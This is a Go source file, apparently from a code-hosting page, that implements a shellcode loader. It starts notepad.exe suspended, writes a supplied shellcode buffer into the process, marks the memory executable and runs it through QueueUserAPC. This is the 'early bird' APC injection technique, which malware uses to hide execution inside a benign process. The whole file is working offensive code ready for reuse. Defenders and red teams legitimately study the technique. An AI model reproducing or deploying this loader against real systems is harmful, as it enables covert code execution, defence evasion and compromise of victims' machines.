Files

91 lines
2.0 KiB
Go

package shellcode
import (
"errors"
"fmt"
"unsafe"
"golang.org/x/sys/windows"
)
func QueueUserApc(shellcode []byte) error {
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
QueueUserApc := kernel32.NewProc("QueueUserAPC")
procInfo := &windows.ProcessInformation{}
startupInfo := &windows.StartupInfo{
Flags: windows.CREATE_SUSPENDED,
}
errCreateProcess := windows.CreateProcess(
windows.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"),
windows.StringToUTF16Ptr(""),
nil,
nil,
true,
windows.CREATE_SUSPENDED,
nil,
nil,
startupInfo,
procInfo,
)
if errCreateProcess != nil {
return errors.New(fmt.Sprintf("Error calling CreateProcess: %v", errCreateProcess.Error()))
}
addr, _, _ := VirtualAllocEx.Call(
uintptr(procInfo.Process),
0,
uintptr(len(shellcode)),
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_READWRITE,
)
if addr == 0 {
return errors.New("VirtualAllocEx failed and returned 0")
}
WriteProcessMemory.Call(
uintptr(procInfo.Process),
addr,
(uintptr)(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
)
oldProtect := windows.PAGE_READWRITE
VirtualProtectEx.Call(
uintptr(procInfo.Process),
addr,
uintptr(len(shellcode)),
windows.PAGE_EXECUTE_READ,
uintptr(unsafe.Pointer(&oldProtect)),
)
QueueUserApc.Call(
addr,
uintptr(procInfo.Thread),
0,
)
_, errResumeThread := windows.ResumeThread(procInfo.Thread)
if errResumeThread != nil {
return errors.New(fmt.Sprintf("Error calling ResumeThread: %v", errResumeThread.Error()))
}
errCloseProcHandle := windows.CloseHandle(procInfo.Process)
if errCloseProcHandle != nil {
return errCloseProcHandle
}
errCloseThreadHandle := windows.CloseHandle(procInfo.Thread)
if errCloseThreadHandle != nil {
return errCloseThreadHandle
}
return nil
}